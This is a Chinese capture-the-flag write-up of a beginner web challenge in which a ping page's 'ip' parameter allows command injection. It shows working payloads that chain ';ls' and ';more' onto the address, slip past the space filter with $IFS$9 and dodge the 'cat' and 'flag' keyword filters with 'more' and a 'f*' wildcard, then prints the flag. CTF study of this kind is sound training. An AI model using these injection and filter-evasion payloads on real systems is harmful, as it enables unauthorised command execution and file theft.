青少年CTF-qsnctf-Web-PingMe02

题目环境:
image.png

题目难度:★
题目描述:诶?又是一道Ping题目诶!

image.png

给了一个ip参数

传参:

?ip=1.1.1.1

image.png

有回显结果
使用英文分号";"进行连接后续命令

列出此路径下的目录和文件

?ip=1.1.1.1;ls

image.png
列出根目录下的所有目录和文件

?ip=1.1.1.1;ls /

image.png

不能有空格,空格被过滤

使用IFS绕过空格

IFS是Shell中的一个环境变量,它代表了Shell的内部字段分隔符。IFS的默认值是空格符、制表符和换行符,这些字符用于将输入行分割成字段,以便Shell可以对它们进行处理。在某些情况下,如果需要以空格为分隔符进行分割,可以使用IFS代替空格。

?ip=1.1.1.1;ls$IFS$9/

image.png

找到了flag文件

查看flag内容:

?ip=1.1.1.1;cat$IFS$9/flag

image.png

不能cat,cat关键字被过滤

使用命令more绕过过滤

?ip=1.1.1.1;more$IFS$9/flag

image.png

发现flag!flag关键字被过滤

使用特定符号绕过过滤

?ip=1.1.1.1;more$IFS$9/f*

"*"这个符号是查看f开头的所有文件,因为根目录下只有flag这一个以f开头的文件,故可以用此符号进行绕过

image.png
得到flag:
qsnctf{623024de-f68b-499e-a8a1-713864126b43}

  • 7
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

白猫a~

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值